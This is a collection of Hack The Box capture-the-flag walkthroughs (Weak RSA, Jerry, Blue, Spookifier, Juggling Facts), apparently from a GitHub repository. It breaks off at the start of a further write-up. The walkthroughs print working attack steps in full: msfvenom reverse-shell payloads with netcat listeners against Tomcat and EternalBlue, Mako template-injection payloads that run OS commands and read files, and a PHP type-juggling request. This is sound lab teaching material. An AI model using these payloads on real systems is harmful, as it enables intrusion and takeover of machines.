password: 11 | inflating: flag.enc 12 | inflating: key.pub 13 | ``` 14 | 15 | Well, so we have a two files. Let’s try to open them. 16 | 17 | ``` 18 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Beginner-Path/Weak-RSA] 19 | └─$ cat key.pub 20 | -----BEGIN PUBLIC KEY----- 21 | MIIBHzANBgkqhkiG9w0BAQEFAAOCAQwAMIIBBwKBgQMwO3kPsUnaNAbUlaubn7ip 22 | 4pNEXjvUOxjvLwUhtybr6Ng4undLtSQPCPf7ygoUKh1KYeqXMpTmhKjRos3xioTy 23 | 23CZuOl3WIsLiRKSVYyqBc9d8rxjNMXuUIOiNO38ealcR4p44zfHI66INPuKmTG3 24 | RQP/6p5hv1PYcWmErEeDewKBgGEXxgRIsTlFGrW2C2JXoSvakMCWD60eAH0W2PpD 25 | qlqqOFD8JA5UFK0roQkOjhLWSVu8c6DLpWJQQlXHPqP702qIg/gx2o0bm4EzrCEJ 26 | 4gYo6Ax+U7q6TOWhQpiBHnC0ojE8kUoqMhfALpUaruTJ6zmj8IA1e1M6bMqVF8sr 27 | lb/N 28 | -----END PUBLIC KEY----- 29 | 30 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Beginner-Path/Weak-RSA] 31 | └─$ cat flag.enc 32 | �_�vc[��~�kZ�1�Ĩ�4�I�9V��^G���(�+3Lu"�T$���F0�VP�־j@������|j▒�������{¾�,�����YE������Xx��,��c�N&Hl2�Ӎ��[o�� 33 | ``` 34 | Looks like we have a public key which was used to produce the encrypted gibberish. Let’s learn more about [RSA](https://www.geeksforgeeks.org/rsa-algorithm-cryptography/). 35 | 36 | We can derive from the reading that if the `p` and `q` values are smaller primes, we can break the RSA algorithm! That might be the case in this challenge (I hope!). 37 | 38 | A little Google Fu got me this tool. We can leverage it to try and decrypt the `flag.enc` file contents. 39 | 40 | ``` 41 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Beginner-Path/Weak-RSA] 42 | └─$ python /opt/RsaCtfTool/RsaCtfTool.py --publickey key.pub --uncipherfile flag.enc 43 | private argument is not set, the private key will not be displayed, even if recovered. 44 | 45 | [*] Testing key key.pub. 46 | attack initialized... 47 | [*] Performing factordb attack on key.pub. 48 | [*] Attack success with factordb method ! 49 | 50 | Results for key.pub: 51 | 52 | Unciphered data : 53 | HEX : 0x0221cfb29883b06f409a679a58a4e97b446e28b244bbcd0687d178a8ab8722bf86da06a62e042c892d2921b336571e9ff7ac9d89ba90512bac4cfb8d7e4a3901bbccf5dfac01b27bddd35f1ca55344a75943df9a18eadb344cf7cf55fa0baa7005bfe32f41004854427b73316d706c335f5769336e3372735f34747434636b7d 54 | INT (big endian) : 1497194306832430076266314478305730170974165912795150306640063107539292495904192020114449824357438113183764256783752233913408135242464239912689425668318419718061442061010640167802145162377597484106658670422900749326253337728846324798012274989739031662527650589811318528908253458824763561374522387177140349821 55 | INT (little endian) : 88072555727442581906733819159067155697935911281144218615701455765307172880720320635323713584599918143771491506717753835756287620091394177323854379763656327463368952228869334584829987719054100173777641056621175603973323216296201097722843393696547323416050555734978260588354260747823940515336870113457552171266 56 | STR : b'\x02!\xcf\xb2\x98\x83\xb0o@\x9ag\x9aX\xa4\xe9{Dn(\xb2D\xbb\xcd\x06\x87\xd1x\xa8\xab\x87"\xbf\x86\xda\x06\xa6.\x04,\x89-)!\xb36W\x1e\x9f\xf7\xac\x9d\x89\xba\x90Q+\xacL\xfb\x8d~J9\x01\xbb\xcc\xf5\xdf\xac\x01\xb2{\xdd\xd3_\x1c\xa5SD\xa7YC\xdf\x9a\x18\xea\xdb4L\xf7\xcfU\xfa\x0b\xaap\x05\xbf\xe3/A\x00HTB{s1mpl3_Wi3n3rs_4tt4ck}' 57 | HEX : 0x000221cfb29883b06f409a679a58a4e97b446e28b244bbcd0687d178a8ab8722bf86da06a62e042c892d2921b336571e9ff7ac9d89ba90512bac4cfb8d7e4a3901bbccf5dfac01b27bddd35f1ca55344a75943df9a18eadb344cf7cf55fa0baa7005bfe32f41004854427b73316d706c335f5769336e3372735f34747434636b7d 58 | INT (big endian) : 1497194306832430076266314478305730170974165912795150306640063107539292495904192020114449824357438113183764256783752233913408135242464239912689425668318419718061442061010640167802145162377597484106658670422900749326253337728846324798012274989739031662527650589811318528908253458824763561374522387177140349821 59 | INT (little endian) : 22546574266225300968123857704721191858671593287972919965619572675918636257464402082642870677657579044805501825719744981953609630743396909394906721219496019830622451770590549653716476856077849644487076110495020954617170743371827481017047908786316114794508942268154434710618690751442928771926238749045133355844096 60 | STR : b'\x00\x02!\xcf\xb2\x98\x83\xb0o@\x9ag\x9aX\xa4\xe9{Dn(\xb2D\xbb\xcd\x06\x87\xd1x\xa8\xab\x87"\xbf\x86\xda\x06\xa6.\x04,\x89-)!\xb36W\x1e\x9f\xf7\xac\x9d\x89\xba\x90Q+\xacL\xfb\x8d~J9\x01\xbb\xcc\xf5\xdf\xac\x01\xb2{\xdd\xd3_\x1c\xa5SD\xa7YC\xdf\x9a\x18\xea\xdb4L\xf7\xcfU\xfa\x0b\xaap\x05\xbf\xe3/A\x00HTB{s1mpl3_Wi3n3rs_4tt4ck}' 61 | 62 | PKCS#1.5 padding decoded! 63 | HEX : 0x004854427b73316d706c335f5769336e3372735f34747434636b7d 64 | INT (big endian) : 116228445871869252378692588205079217110932931184359462733572989 65 | INT (little endian) : 51594582506285564025554597946778804341308607376857173453085886464 66 | utf-8 : HTB{REDACTED} 67 | STR : b'\x00HTB{REDACTED}' 68 | 69 | ``` 70 | 71 | Voila! We have the FLAG and we can use this to gain out points on HackTheBox. Just copy paste it on the HackTheBox portal. 72 | -------------------------------------------------------------------------------- /Tracks/Beginner Track/4. Jerry/Readme.md: -------------------------------------------------------------------------------- 1 | # Hack The Box - Jerry Walkthrough without Metasploit 2 | 3 | ## Enumeration 4 | First we start by running `nmap` against the target 5 | ```nmap 6 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Beginner-Path/Jerry] 7 | └─$ nmap -sC -sV -A -oA nmap 10.10.10.95 -Pn 8 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-07 13:49 EST 9 | Nmap scan report for 10.10.10.95 10 | Host is up (0.13s latency). 11 | Not shown: 999 filtered tcp ports (no-response) 12 | PORT STATE SERVICE VERSION 13 | 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 14 | |_http-title: Apache Tomcat/7.0.88 15 | |_http-favicon: Apache Tomcat 16 | |_http-server-header: Apache-Coyote/1.1 17 | 18 | Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 19 | Nmap done: 1 IP address (1 host up) scanned in 26.29 seconds 20 | 21 | ``` 22 | 23 | Since, there's a `HTTP` service running, we'll also use gobuster for `directory brute-forcing` 24 | 25 | ``` 26 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Beginner-Path/Jerry] 27 | └─$ gobuster dir -u http://10.10.10.95:8080/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/common.txt -t 200 28 | =============================================================== 29 | Gobuster v3.1.0 30 | by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) 31 | =============================================================== 32 | [+] Url: http://10.10.10.95:8080/ 33 | [+] Method: GET 34 | [+] Threads: 200 35 | [+] Wordlist: /usr/share/wordlists/SecLists-master/Discovery/Web-Content/common.txt 36 | [+] Negative Status codes: 404 37 | [+] User Agent: gobuster/3.1.0 38 | [+] Timeout: 10s 39 | =============================================================== 40 | 2023/01/07 13:52:41 Starting gobuster in directory enumeration mode 41 | =============================================================== 42 | /aux (Status: 200) [Size: 0] 43 | /com4 (Status: 200) [Size: 0] 44 | /com3 (Status: 200) [Size: 0] 45 | /com2 (Status: 200) [Size: 0] 46 | /com1 (Status: 200) [Size: 0] 47 | /con (Status: 200) [Size: 0] 48 | /docs (Status: 302) [Size: 0] [--> /docs/] 49 | /examples (Status: 302) [Size: 0] [--> /examples/] 50 | /favicon.ico (Status: 200) [Size: 21630] 51 | /host-manager (Status: 302) [Size: 0] [--> /host-manager/] 52 | /lpt2 (Status: 200) [Size: 0] 53 | /lpt1 (Status: 200) [Size: 0] 54 | /manager (Status: 302) [Size: 0] [--> /manager/] 55 | /nul (Status: 200) [Size: 0] 56 | /prn (Status: 200) [Size: 0] 57 | 58 | =============================================================== 59 | 2023/01/07 13:52:45 Finished 60 | =============================================================== 61 | 62 | ``` 63 | Performing Nikto Scan too. 64 | ``` 65 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Beginner-Path/Jerry] 66 | └─$ nikto -host http://10.10.10.95:8080 67 | - Nikto v2.1.6 68 | --------------------------------------------------------------------------- 69 | + Target IP: 10.10.10.95 70 | + Target Hostname: 10.10.10.95 71 | + Target Port: 8080 72 | + Start Time: 2023-01-07 14:09:33 (GMT-5) 73 | --------------------------------------------------------------------------- 74 | + Server: Apache-Coyote/1.1 75 | + The anti-clickjacking X-Frame-Options header is not present. 76 | + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS 77 | + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type 78 | + No CGI Directories found (use '-C all' to force check all possible dirs) 79 | + OSVDB-39272: /favicon.ico file identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community 80 | + Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS 81 | + OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server. 82 | + OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server. 83 | + Web Server returns a valid response with junk HTTP methods, this may cause false positives. 84 | + /examples/servlets/index.html: Apache Tomcat default JSP pages present. 85 | + OSVDB-3720: /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users. 86 | + Default account found for 'Tomcat Manager Application' at /manager/html (ID 'tomcat', PW 's3cret'). Apache Tomcat. 87 | + /host-manager/html: Default Tomcat Manager / Host Manager interface found 88 | + /manager/html: Tomcat Manager / Host Manager interface found (pass protected) 89 | + /manager/status: Tomcat Server Status interface found (pass protected) 90 | + 7967 requests: 0 error(s) and 14 item(s) reported on remote host 91 | + End Time: 2020-02-20 00:19:31 (GMT-5) (382 seconds) 92 | -------------------------------------------------------------------- 93 | + 1 host(s) testedFinished nikto scan 94 | 95 | ========================= 96 | ``` 97 | 98 | We have one port open. 99 | - Port `8080`: running `Apache Tomcat/Coyote JSP engine 1.1` 100 | 101 | Before we move on to enumeration, let’s make some mental notes about the scan results. 102 | ``` 103 | Port __8080__ is running __Apache Tomcat__ and the nmap scan found the __/manager/html__ page, which is the __login__ page to the Manager interface. The nikto scan identified that this page is using the __default credentials__ __tomcat/s3cret__. Apache Tomcat by design allows you to run code, so we can simply deploy a war file that sends a reverse shell back to our attack machine. 104 | ``` 105 | 106 | Since we already have a way to get code execution on the box, we can just move on to the exploitation phase. 107 | 108 | ## Exploitation 109 | Visit the `/manager/html` page and log in with the credentials `tomcat/s3cret`. 110 | 111 | Generate a war file that contains a reverse shell using msfvenom. 112 | ``` 113 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=1234 -f war > shell.war 114 | ``` 115 | 116 | ``` 117 | ┌──(darshan㉿kali)-[~] 118 | └─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f war > shell.war 119 | Payload size: 1086 bytes 120 | Final size of war file: 1086 bytes 121 | ``` 122 | 123 | Upload the file on the Tomcat Application Manager and deploy it. 124 | 125 | 126 | Set up a listener on the target machine. 127 | ``` 128 | nc -nlvp 1234 129 | ``` 130 | 131 | Click on the war file in the Tomcat Application Manager to execute our shell. 132 | 133 | ``` 134 | ┌──(darshan㉿kali)-[~] 135 | └─$ nc -lvnp 4444 136 | listening on [any] 4444 137 | connect to [10.10.14.2] from (Unknown) [10.10.10.95] 49192 138 | Microsoft Windows [Version 6.3.9600] 139 | (c) 2013 Microsoft Corporation. All rights reserved. 140 | 141 | C:\apache-tomcat-7.0>whoami 142 | whoami 143 | nt authority\system 144 | ``` 145 | 146 | We get a shell with SYSTEM privileges! That was easy! We don’t even have to escalate our privileges for this box. 147 | Grab the user.txt and root.txt flags. 148 | 149 | ``` 150 | ┌──(darshan㉿kali)-[~] 151 | ... 152 | C:\Users\Administrator\Desktop\flags>dir 153 | dir 154 | Volume in drive C has no label. 155 | Volume Serial Number is FC2B-E489 156 | 157 | Directory of C:\Users\Administrator\Desktop\flags 158 | 159 | 06/19/2018 06:09 AM . 160 | 06/19/2018 06:09 AM .. 161 | 06/19/2018 06:11 AM 88 2 for the price of 1.txt 162 | 1 File(s) 88 bytes 163 | 2 Dir(s) 27,601,993,728 bytes free 164 | 165 | C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt" 166 | type "2 for the price of 1.txt" 167 | user.txt 168 | [REDACTED] 169 | 170 | root.txt 171 | [REDACTED] 172 | ``` 173 | -------------------------------------------------------------------------------- /Tracks/Beginner Track/7. Blue/Readme.md: -------------------------------------------------------------------------------- 1 | Hack The Box - Blue Walkthrough without Metasploit 2 | 3 | # Reconnaissance 4 | First we start by running nmap against the target 5 | ``` 6 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Beginner-Path/Blue] 7 | └─$ sudo nmap -sC -sV -O -oA nmap-inital 10.10.10.40 8 | [sudo] password for darshan: 9 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-08 04:54 EST 10 | Nmap scan report for 10.10.10.40 11 | Host is up (0.18s latency). 12 | Not shown: 991 closed tcp ports (reset) 13 | PORT STATE SERVICE VERSION 14 | 135/tcp open msrpc Microsoft Windows RPC 15 | 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 16 | 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 17 | 49152/tcp open msrpc Microsoft Windows RPC 18 | 49153/tcp open msrpc Microsoft Windows RPC 19 | 49154/tcp open msrpc Microsoft Windows RPC 20 | 49155/tcp open msrpc Microsoft Windows RPC 21 | 49156/tcp open msrpc Microsoft Windows RPC 22 | 49157/tcp open msrpc Microsoft Windows RPC 23 | Device type: general purpose 24 | Running: Microsoft Windows 2008 25 | OS CPE: cpe:/o:microsoft:windows_server_2008::sp1 26 | OS details: Microsoft Windows Server 2008 SP1 27 | Network Distance: 2 hops 28 | Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows 29 | 30 | Host script results: 31 | | smb2-time: 32 | | date: 2023-01-08T09:56:09 33 | |_ start_date: 2023-01-08T09:39:46 34 | | smb-security-mode: 35 | | account_used: guest 36 | | authentication_level: user 37 | | challenge_response: supported 38 | |_ message_signing: disabled (dangerous, but default) 39 | | smb2-security-mode: 40 | | 2.1: 41 | |_ Message signing enabled but not required 42 | | smb-os-discovery: 43 | | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) 44 | | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional 45 | | Computer name: haris-PC 46 | | NetBIOS computer name: HARIS-PC\x00 47 | | Workgroup: WORKGROUP\x00 48 | |_ System time: 2023-01-08T09:56:08+00:00 49 | |_clock-skew: mean: 3s, deviation: 1s, median: 2s 50 | 51 | OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 52 | Nmap done: 1 IP address (1 host up) scanned in 87.66 seconds 53 | 54 | ``` 55 | 56 | We get back the following result showing that nine ports are open: 57 | - Port `139`: running Microsoft Windows `netbiois-ssn` 58 | - Port `445`: running `microsoft-ds` 59 | - Ports `135`, `49152`, `49153`, `49154`, `49155`, `49156` & `49157`: running `msrpc` 60 | 61 | Before we start investigating these ports, let’s run more comprehensive nmap scans in the background to make sure we cover all bases. 62 | 63 | Let’s run an nmap scan that covers all ports. 64 | 65 | ``` 66 | sudo nmap -sC -sV -O -p- -oA nmap-full 10.10.10.40 67 | ``` 68 | We get back the following result. No other ports are open. 69 | 70 | Similarly, we run an nmap scan with the `-sU` flag enabled to run a UDP scan (for top 1000 ports). 71 | 72 | ``` 73 | sudo nmap -sU -O -p- -oA udp 10.10.10.40 74 | ``` 75 | 76 | ## Enumeration 77 | As usual, we’ll run the general nmap `vulnerability scan scripts` to determine if any of the services are vulnerable. 78 | 79 | ``` 80 | sudo nmap --script vuln -oA vuln 10.10.10.40 81 | ``` 82 | 83 | The box is vulnerable to `EternalBlue`! And guess what the `EternalBlue exploit` does? It gives us system access, so this box won’t be too difficult to solve. If you’re not familiar with `EternalBlue`, it exploits Microsoft’s implementation of the `Server Message Block` (SMB) protocol, where if an attacker sent a specially crafted packet, the attacker would be allowed to `execute arbitrary code` on the target machine. 84 | 85 | ## Exploitation 86 | 87 | Search for a non Metasploit exploit in the Exploit Database. 88 | 89 | ``` 90 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Beginner-Path/Blue] 91 | └─$ searchsploit --id MS17-010 92 | -------------------------------------------------------------------------------------------------------------------------- --------------------------------- 93 | Exploit Title | EDB-ID 94 | -------------------------------------------------------------------------------------------------------------------------- --------------------------------- 95 | Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' SMB Remote Code Execution (Metasploit) (MS17-010) | 43970 96 | Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010) (Metasploit) | 41891 97 | Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010) | 42031 98 | Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010) | 42315 99 | Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010) | 42030 100 | Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010) | 41987 101 | -------------------------------------------------------------------------------------------------------------------------- --------------------------------- 102 | Shellcodes: No Results 103 | 104 | ``` 105 | 106 | We’re working with Windows 7 so we’ll use exploit # 42315. Clone the exploit into the working directory. 107 | 108 | ``` 109 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Beginner-Path/Blue] 110 | └─$ searchsploit -m 42315 111 | 112 | Exploit: Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010) 113 | URL: https://www.exploit-db.com/exploits/42315 114 | Path: /usr/share/exploitdb/exploits/windows/remote/42315.py 115 | File Type: Python script, ASCII text executable 116 | 117 | Copied to: /home/kali/Desktop/HackTheBox/Beginner-Path/Blue/42315.py 118 | ``` 119 | Rename the copied file to `mysmb.py` for convinience 120 | 121 | After looking at the `source code`, we need to do three things: 122 | 123 | ``` 124 | 1. Download mysmb.py since the exploit imports it. The download location is included in the exploit. 125 | 2. Use MSFvenom to create a reverse shell payload (allowed on the OSCP as long as you’re not using meterpreter). 126 | 3. Make changes in the exploit to add the authentication credentials and the reverse shell payload. 127 | ``` 128 | 129 | Using `MSFvenom` to generate a simple executable with a reverse shell payload. 130 | 131 | ``` 132 | msfvenom -p windows/shell_reverse_tcp -f exe LHOST= LPORT=4444 > eternal-blue.exe 133 | ``` 134 | 135 | Then, we need change the exploit to add credentials. In our case we don’t have valid credentials, however, let’s check to see if guest login is allowed 136 | 137 | If you run `enum4linux`, you can see that no login credential is reuired. 138 | 139 | ``` 140 | enum4linux -a 10.10.10.40 141 | ``` 142 | 143 | ![blue-1](https://user-images.githubusercontent.com/87711310/211190472-64299661-bae4-4d88-8a76-a587525d0884.png) 144 | 145 | Similarly, we’ll add the reverse shell executable location and get the script to execute it. 146 | 147 | ![blue-2](https://user-images.githubusercontent.com/87711310/211190648-8f9b27de-44fc-45bc-9710-23b3c179a4cd.png) 148 | 149 | 150 | Now that we’re done all three tasks, setup a listener on your attack machine. 151 | ``` 152 | nc -nlvp 4444 153 | ``` 154 | Then run the exploit. 155 | 156 | ``` 157 | python 42315.py 10.10.10.40 158 | ``` 159 | 160 | ``` 161 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Beginner-Path/Blue] 162 | └─$ nc -lvnp 4444 163 | listening on [any] 4444 ... 164 | connect to [10.10.14.4] from (UNKNOWN) [10.10.10.40] 49158 165 | Microsoft Windows [Version 6.1.7601] 166 | Copyright (c) 2009 Microsoft Corporation. All rights reserved. 167 | 168 | C:\Windows\system32>whoami 169 | whoami 170 | nt authority\system 171 | ``` 172 | 173 | Grabbing the user flag. 174 | ``` 175 | C:\Windows\system32>type C:\Users\haris\Desktop\user.txt 176 | type C:\Users\haris\Desktop\user.txt 177 | [REDACTED] 178 | ``` 179 | 180 | Grabbing the root flag. 181 | ``` 182 | C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt 183 | type C:\Users\Administrator\Desktop\root.txt 184 | [REDACTED] 185 | ``` 186 | 187 | -------------------------------------------------------------------------------- /Tracks/Beginner Track/Readme.md: -------------------------------------------------------------------------------- 1 | # Outline 2 | 3 | | Tables | Description | 4 | | ------ | ----------- | 5 | | Track | Beginner Track | 6 | | Difficulty | Easy | 7 | | No. of boxes | 8 | 8 | 9 | ## ABOUT TRACK 10 | 11 | Welcome to HTB! A collection of some of our most fun, beginner-friendly content. 12 | -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/1. Spookifier/Readme.md: -------------------------------------------------------------------------------- 1 | ## Challenge Description 2 | There's a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application? 3 | 4 | # Solution 5 | 6 | Navigating to website, we are presented with the following page. 7 | 8 | ![spk-1](https://user-images.githubusercontent.com/87711310/211197353-15ef535d-d778-42b2-ab59-e52d695fc741.png) 9 | 10 | Looking into the source code reveals that it’s a `flask` app and using `mako` template engine for rendering. On line 11, the user input is passed into the spoofiky function and it’s output is passed into the template. 11 | 12 | ```javascript 13 | ┌──(darshan㉿kali)-[~/…/web_spookifier/challenge/application/blueprints] 14 | └─$ cat routes.py 15 | from flask import Blueprint, request 16 | from flask_mako import render_template 17 | from application.util import spookify 18 | 19 | web = Blueprint('web', __name__) 20 | 21 | @web.route('/') 22 | def index(): 23 | text = request.args.get('text') 24 | if(text): 25 | converted = spookify(text) 26 | return render_template('index.html',output=converted) 27 | 28 | return render_template('index.html',output='') 29 | ``` 30 | 31 | Tracing the spookify function, it passes the text onto `change_font` function which just maps the text characters againts different font dictionaries. 32 | 33 | ```python 34 | 35 | def change_font(text_list): 36 | text_list = [*text_list] 37 | current_font = [] 38 | all_fonts = [] 39 | 40 | add_font_to_list = lambda text,font_type : ( 41 | [current_font.append(globals()[font_type].get(i, ' ')) for i in text], all_fonts.append(''.join(current_font)), current_font.clear() 42 | ) and None 43 | 44 | add_font_to_list(text_list, 'font1') 45 | add_font_to_list(text_list, 'font2') 46 | add_font_to_list(text_list, 'font3') 47 | add_font_to_list(text_list, 'font4') 48 | 49 | return all_fonts 50 | 51 | def spookify(text): 52 | converted_fonts = change_font(text_list=text) 53 | 54 | return generate_render(converted_fonts=converted_fonts) 55 | 56 | ``` 57 | 58 | One fond dictionary does not have any unique character for mapping. 59 | 60 | 61 | ```python 62 | ... 63 | font4 = { 64 | 'A': 'A', 65 | 'B': 'B', 66 | 'C': 'C', 67 | 'D': 'D', 68 | ........ 69 | ``` 70 | 71 | Since, the user input is directly passed into the template without any sanitization, this introduces the chances of carrying out `Server Side Template Injection` (SSTI) attacks. 72 | 73 | We confirm it by using the following payload and it sucessfully evaluates it. 74 | 75 | ![spk-2](https://user-images.githubusercontent.com/87711310/211248331-02810b1b-1a05-40d6-9156-d54c5eedc8a6.png) 76 | 77 | ## Solution-1 78 | Since we know that this web-app is vulnerable to `SSTI`, i googled a couple of payloads to read contents of a file and I found this payload 79 | 80 | ``` 81 | ${open('/flag.txt').read()} 82 | ``` 83 | 84 | ![spk-3](https://user-images.githubusercontent.com/87711310/211248947-da5504b9-568c-4265-b2e7-b9f16b562749.png) 85 | 86 | ## Solution-2 87 | I started intercepting the traffic through `Burp` and started by using generic and basic `SSTI` payloads. 88 | 89 | 90 | After this, I found a SSTI payload from `Payload All the Things'` [Github](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#mako) 91 | 92 | The payload that I used was for the `Mako` template library to get `Direct access to OS from TemplateNamespace` 93 | 94 | ``` 95 | ${self.__init__.__globals__['util'].os.system('id')} 96 | ``` 97 | 98 | ![spk-5](https://user-images.githubusercontent.com/87711310/211251011-f903c0fb-911c-4458-995f-1b27181bc8fe.png) 99 | 100 | After this, I figured out a payload to read the contents of the file using `module.cache.util` 101 | 102 | ``` 103 | ${self.module.cache.util.os.popen('cat /flag.txt').read()} 104 | ``` 105 | 106 | ![spk-6](https://user-images.githubusercontent.com/87711310/211251015-a26042d4-85ae-49a9-84ff-f4da2b6e520b.png) 107 | 108 | 109 | 110 | -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/3. Juggling Facts/Readme.md: -------------------------------------------------------------------------------- 1 | ## Challenge Description 2 | An organization seems to possess knowledge of the true nature of pumpkins. Can you find out what they honestly know and uncover this centuries-long secret once and for all? 3 | 4 | Downloading the provided files and unzipping them, there was a `entrypoint.sh`. We have the source code of a PHP application. The challenge name suggests that this would be a [type juggling](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) vulnerability. 5 | 6 | I didnt know much about __PHP type juggling Vulnerabilities__, so I had to read a few articles about it before diving into the challenge. 7 | 8 | In the file `entrypoint.sh` on line # `100`, we see that the `flag` is stored in the database table `facts`. 9 | 10 | ```php 11 | INSERT INTO facts(fact, fact_type) VALUES 12 | ... 13 | ... 14 | ... 15 | ( 16 | 'HTB{f4k3_fl4g_f0r_t3st1ng}', 17 | 'secrets' 18 | ); 19 | ``` 20 | 21 | And it's stored as `fact_type` of secrets. 22 | 23 | In file `/challenge/index.php`, we see an `API route` to `getfacts` which points to getfacts method in `IndexController`. 24 | 25 | ![tj-1](https://user-images.githubusercontent.com/87711310/211289766-96d77e67-8f38-47d9-928f-a8db2e64e793.png) 26 | 27 | If we visit the web application, this is what it looks like. 28 | 29 | ![tj-2](https://user-images.githubusercontent.com/87711310/211290106-51a47589-fb68-4107-9bce-76c832b63d52.png) 30 | 31 | And it issues the following HTTP request 32 | 33 | ``` 34 | POST /api/getfacts HTTP/1.1 35 | Host: 167.71.137.174:30671 36 | Content-Length: 17 37 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 38 | Content-Type: application/json 39 | Accept: */* 40 | Origin: http://167.71.137.174:30671 41 | Referer: http://167.71.137.174:30671/ 42 | Accept-Encoding: gzip, deflate 43 | Accept-Language: en-US,en;q=0.9 44 | Connection: close 45 | 46 | {"type":"spooky"} 47 | ``` 48 | 49 | Which returns all the facts having `fact_type` of `spooky`. So ideally, we should be able to change this request and specify type `secrets` to get the flag, unless the application doesn't let us. Let's take a look at the `getfacts` method in `IndexController`. 50 | 51 | ![tj-3](https://user-images.githubusercontent.com/87711310/211291472-7145f7bf-36a9-48c8-bd90-a3c3396a5bb9.png) 52 | 53 | There are quite a few checks here which would prevent us to enter type `secrets`. 54 | 55 | First, the `type` JSON key cannot be empty. Second, If we're specifying the type `secrets`, the request has to be issued from the localhost `127.0.0.1`. And this is a strict comparison with `===`. 56 | 57 | So one thing is for sure, that to bypass these two checks, we cannot send an empty type or a type with a value of `secrets`. 58 | 59 | Let's see what happens if we do not send the type of `secrets`. In that case, the code lands on a `switch case` block. Which looks interesting. Because in PHP, `switch case` performs a `loose comparison` as mentioned in the PHP docs. Which makes it vulnerable to `type juggling` attacks. 60 | 61 | So the comparison would look like: 62 | ``` 63 | $jsondata['type'] == 'secrets' 64 | ``` 65 | 66 | Now, we cannot supply a type `secrets` as input because of the above if condition with localhost restriction. However, we can supply a value which is not `secrets` but still passes this loose comparison. 67 | 68 | To figure out what input value we should use, let's take a look at the [PHP type comparison documentation](https://www.php.net/manual/en/types.comparisons.php). 69 | 70 | It says `true` compared with any string (php in this example) should always return `true`. 71 | 72 | So what if we supply a `type` with a Boolean value of `true`. This is what our payload would look like. 73 | 74 | ``` 75 | POST /api/getfacts HTTP/1.1 76 | Host: 167.71.137.174:30671 77 | Content-Length: 13 78 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 79 | Content-Type: application/json 80 | Accept: */* 81 | Origin: http://167.71.137.174:30671 82 | Referer: http://167.71.137.174:30671/ 83 | Accept-Encoding: gzip, deflate 84 | Accept-Language: en-US,en;q=0.9 85 | Connection: close 86 | 87 | {"type":true} 88 | ``` 89 | 90 | It works and we get our flag. 91 | 92 | ![tj-4](https://user-images.githubusercontent.com/87711310/211293053-ccad2beb-e853-43f9-b03b-3f3a781847af.png) 93 | -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/4. Cursed Secret Party/Readme.md: -------------------------------------------------------------------------------- 1 | ## Challenge Description 2 | You've just received an invitation to a party. Authorities have reported that the party is cursed, and the guests are trapped in a never-ending unsolvable murder mystery party. Can you investigate further and try to save everyone? 3 | 4 | ## Solution 5 | Downloading the provided files and unzipping them, we have the source code of an application built with `Express.js`. 6 | 7 | In `routes/index.js`, we see that there are two routes `/api/submit` and `/admin.` 8 | 9 | ```javascript 10 | ┌──(darshan㉿kali)-[~/…/HacktheBoo-ctf-2022/Cursed-secret-party/web_cursed_party/challenge] 11 | └─$ cat routes/index.js 12 | const express = require('express'); 13 | const router = express.Router({ caseSensitive: true }); 